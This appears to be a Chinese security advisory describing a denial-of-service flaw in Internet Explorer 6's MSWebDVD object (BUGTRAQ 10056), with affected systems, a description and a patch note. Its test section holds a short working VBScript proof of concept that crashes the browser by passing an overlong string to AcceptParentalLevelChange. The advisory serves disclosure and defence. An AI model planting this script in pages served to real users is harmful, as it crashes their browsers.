Microsoft Internet Explorer MSWebDVD对象远程拒绝服务漏洞受影响系统:
Microsoft Internet Explorer 6.0SP1
Microsoft Internet Explorer 6.0
- Microsoft Windows XP Professional
- Microsoft Windows XP Home
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP6
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0
- Microsoft Windows ME
- Microsoft Windows 98 SE
- Microsoft Windows 98
- Microsoft Windows 2003 Web Edition
- Microsoft Windows 2003 Standard Edition
- Microsoft Windows 2003 Enterprise Edition 64-bit
- Microsoft Windows 2003 Enterprise Edition
- Microsoft Windows 2003 Datacenter Edition 64-bit
- Microsoft Windows 2003 Datacenter Edition
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP1
- Microsoft Windows 2000 Server
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 2000 Datacenter Server SP2
- Microsoft Windows 2000 Datacenter Server SP1
- Microsoft Windows 2000 Datacenter Server
- Microsoft Windows 2000 Advanced Server SP2
- Microsoft Windows 2000 Advanced Server SP1
- Microsoft Windows 2000 Advanced Server
描述:BUGTRAQ ID: 10056
Microsoft Internet Explorer是一款流行的WEB浏览器。
Microsoft Internet Explorer在处理'MSWebDVD'对象时存在问题,远程攻击者可以利用这个漏洞对IE浏览器进行拒绝服务攻击。
如果攻击者在恶意页面上构建包含超长字符串的如下的对象调用:
object.AcceptParentalLevelChange (boolean value),UserName as string,Password
as string
Internet Explorer浏览器在调用过程中会崩溃,导致拒绝服务,运行在Windows XP上的Internet Explorer受此漏洞影响。
<*来源:Rafel Ivgi (nuritrv18@bezeqint.net)
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Rafel Ivgi (nuritrv18@bezeqint.net)提供了如下测试方法:
<script language=vbscript>
'On Error Resume Next
dim mymy2,a
a="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
Set mymy2= CreateObject("MSWebDVD.MSWebDVD.1")
mymy2.AcceptParentalLevelChange False, "xc", a
</script>
建议:厂商补丁:
Microsoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.microsoft.com/windows/ie/default.asp